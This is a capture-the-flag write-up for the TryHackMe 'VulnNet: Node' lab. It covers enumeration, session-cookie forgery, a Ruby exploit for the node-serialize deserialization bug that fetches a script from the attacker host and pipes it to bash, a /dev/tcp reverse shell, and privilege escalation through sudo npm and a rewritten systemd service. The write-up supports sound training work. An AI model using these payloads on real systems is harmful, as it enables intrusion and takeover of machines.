Information
Room
Name: VulnNet: Node
Profile: tryhackme.com
Difficulty: Easy
Description : After the previous breach, VulnNet Entertainment states it won't happen again. Can you prove they're wrong?
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap ffuf ruby-ctf-party ruby-httpclient gtfoblookup pwncat
Network enumeration
Port and service scan with nmap:
# Nmap 7.91 scan initiated Mon Mar 29 15:50:00 2021 as: nmap -sSVC -p- -oA nmap_full 10.10.45.222
Nmap scan report for 10.10.45.222
Host is up (0.025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet – Your reliable news source – Try Now!
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 29 15:51:26 2021 -- 1 IP address (1 host up) scanned in 85.79 seconds
There is a Node.js Express framework web app.
Web enumeration
The web application is running on port 8080.
That's a basic blog:the home page is hosting the blog posts and there is a
login page at /login
.
Let's try to find hidden pages and folders:
$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -fc 403
...
css [Status: 301, Size: 173, Words: 7, Lines: 11]
login [Status: 200, Size: 2127, Words: 240, Lines: 113]
img [Status: 301, Size: 173, Words: 7, Lines: 11]
[Status: 200, Size: 7577, Words: 706, Lines: 1]
$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403
$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403 -e .js
I didn't find anything more than the login page.
We can collect the name of the authors for further username bruteforce if needed.
Tilo Mitra
Eric Ferraiuolo
Reid Burke
Andrew Wooldridge
We can't bruteforce the login page yet as we don't have a valid email format.
Web analysis
We can see on our requests that we have a cookie set:
GET /login HTTP/1.1
Host: 10.10.45.222:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.45.222:8080/
Connection: close
Cookie: session=eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
With ctf-party we can URL-decode and base64-decode the cookie.
$ ctf_party_console
irb(main): 003 : 0 > puts 'eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D' .urldecode.from_b64
{ "username" :" Guest " , "isGuest" : true , "encoding" : "utf-8" }
Let's try to craft a new one using ctf-party again.
irb(main): 004 : 0 > cookie = { "username" :" Guest " , "isGuest" : true , "encoding" : "utf-8" }
irb(main): 006 : 0 > cookie[ : username ] = 'admin'
irb(main): 007 : 0 > cookie[ : isGuest ] = false
irb(main):009: 0 > require 'json'
irb(main): 012 : 0 > cookie.to_json.to_b64.urlencode
=> "eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNHdWVzdCI6ZmFsc2UsImVuY29kaW5nIjoidXRmLTgifQ%3D%3D"
But using this cookie the app doesn't redirect us anywhere when requesting /login
.
However on the home page we can see Welcome, admin , acknowledging the cookie
spoofing worked.
Let's request the home page with an erroneous cookie, maybe a stack trace could leak
some technology used.
Sending a partially deleted cookie returns an HTTP error 500 and the following
stack trace:
SyntaxError: Unexpected end of JSON input
at JSON.parse ()
at Object.exports.unserialize (/home/www/VulnNet-Node/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/www/VulnNet-Node/server.js:16:24
at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
at next (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
at /home/www/VulnNet-Node/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:335:12)
at next (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:275:10)
We have a helpful full path disclosure and we notice that an unserialization is
done.
Web exploitation
Using this article (Exploiting Node.js deserialization bug for Remote Code Execution ) and this exploit (
EDB-ID-49552 ) I re-created a better
exploit in ruby:
require 'ctf_party' # gem install ctf-party
require 'json'
require 'httpclient' # gem install httpclient
# change values here
URL = 'http://10.10.163.253:8080/'
LHOST = '10.9.19.77'
LPORT = 8888
FILE = 'noraj.sh'
payload = """
require('child_process').exec('curl #{ LHOST } : #{ LPORT } / #{ FILE } | bash', function(error, stdout, stderr)
{ console.log(stdout) })
""" . gsub ( " \n " , '' )
puts payload
code = "_$$ND_FUNC$$_ #{ payload } "
cookie = { username : code, isAdmin : true , encoding : 'utf-8' }
headers = {
'Cookie' => "session= #{ cookie.to_json.to_b64.urlencode } "
}
clnt = HTTPClient . new
clnt.cookie_manager = nil
clnt.get( URI ( URL ), nil , headers)
Before executing it let's create noraj.sh
that will be downloaded an executed.
bash -i >& /dev/tcp/10.9.19.77/9999 0>&1
Start a web server to serve the script:
$ ruby -run -e httpd . -p 8888
Start a reverse shell listener:
Then execute the exploit:
And we get the shell:
www@vulnnet-node:~/VulnNet-Node$ id
uid=1001(www) gid=1001(www) groups=1001(www)
EoP: from www-data to serv-manage
We can run npm as serv-manage:
www@vulnnet-node:~/VulnNet-Node$ sudo -l
Matching Defaults entries for www on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www may run the following commands on vulnnet-node:
(serv-manage) NOPASSWD: /usr/bin/npm
There is an EoP vector looking at GTFObins:
$ gtfoblookup linux sudo npm
npm:
sudo:
Code: TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
Let's do this:
$ TF=$(mktemp -d)
$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i
But we have an error like we do not have permission in created folder in /tmp
so let's try /dev/shm
instead.
$ mkdir /dev/shm/noraj
$ TF=/dev/shm/noraj
$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i
That give me a shell as serv-manage:
> @ preinstall /dev/shm/noraj
> /bin/sh
id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)
EoP: from serv-manage to root
We can start/stop a systemd timer called vulnnet-auto:
$ sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User serv-manage may run the following commands on vulnnet-node:
(root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl daemon-reload
With systemctl status
we can find the path of the timer file:
$ systemctl status vulnnet-auto.timer
● vulnnet-auto.timer - Run VulnNet utilities every 30 min
Loaded: loaded (/etc/systemd/system/vulnnet-auto.timer; disabled; vendor preset: enabled)
Active: inactive (dead)
Trigger: n/a
The file is writable by our user:
$ ls -lh /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer
Let's see /etc/systemd/system/vulnnet-auto.timer
:
[Unit]
Description = Run VulnNet utilities every 30 min
[Timer]
OnBootSec = 0min
# 30 min job
OnCalendar = *:0/30
Unit = vulnnet-job.service
[Install]
WantedBy = basic.target
The timer is starting a job after 30min.
We can find the service and see it is writable by our user:
$ systemctl status vulnnet-job.service
● vulnnet-job.service - Logs system statistics to the systemd journal
Loaded: loaded (/etc/systemd/system/vulnnet-job.service; disabled; vendor preset: enabled)
Active: inactive (dead)
$ ls -lh /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24 21:40 /etc/systemd/system/vulnnet-job.service
/etc/systemd/system/vulnnet-job.service
[Unit]
Description = Logs system statistics to the systemd journal
Wants = vulnnet-auto.timer
[Service]
# Gather system statistics
Type = forking
ExecStart = /bin/df
[Install]
WantedBy = multi-user.target
Let's replace the executed payload with a reverse shell in /etc/systemd/system/vulnnet-job.service
.
-ExecStart=/bin/df
+ExecStart=/bin/bash -c "curl 10.9.19.77:8888/noraj.sh | bash"/'
I can't use nano
or sed -i
or some other fancy methods because the folder is not writable.
$ echo 'W1VuaXRdCkRlc2NyaXB0aW9uPUxvZ3Mgc3lzdGVtIHN0YXRpc3RpY3MgdG8gdGhlIHN5c3RlbWQgam91cm5hbApXYW50cz12dWxubmV0LWF1dG8udGltZXIKCltTZXJ2aWNlXQojIEdhdGhlciBzeXN0ZW0gc3RhdGlzdGljcwpUeXBlPWZvcmtpbmcKRXhlY1N0YXJ0PS9iaW4vYmFzaCAtYyAiY3VybCAxMC45LjE5Ljc3Ojg4ODgvbm9yYWouc2ggfCBiYXNoIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /etc/systemd/system/vulnnet-job.service
Let's stop the timer, reload modified files on disk and start the timer:
$ sudo /bin/systemctl stop vulnnet-auto.timer
$ sudo /bin/systemctl daemon-reload
$ sudo /bin/systemctl start vulnnet-auto.timer
Loot our root shell:
$ pwncat -lvv 7777
INFO: Listening on :::7777 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:7777 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.163.253:40950 (family 2/IPv4, TCP)
bash: cannot set terminal process group (1359): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet-node:/# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnnet-node:/# cat /root/root.txt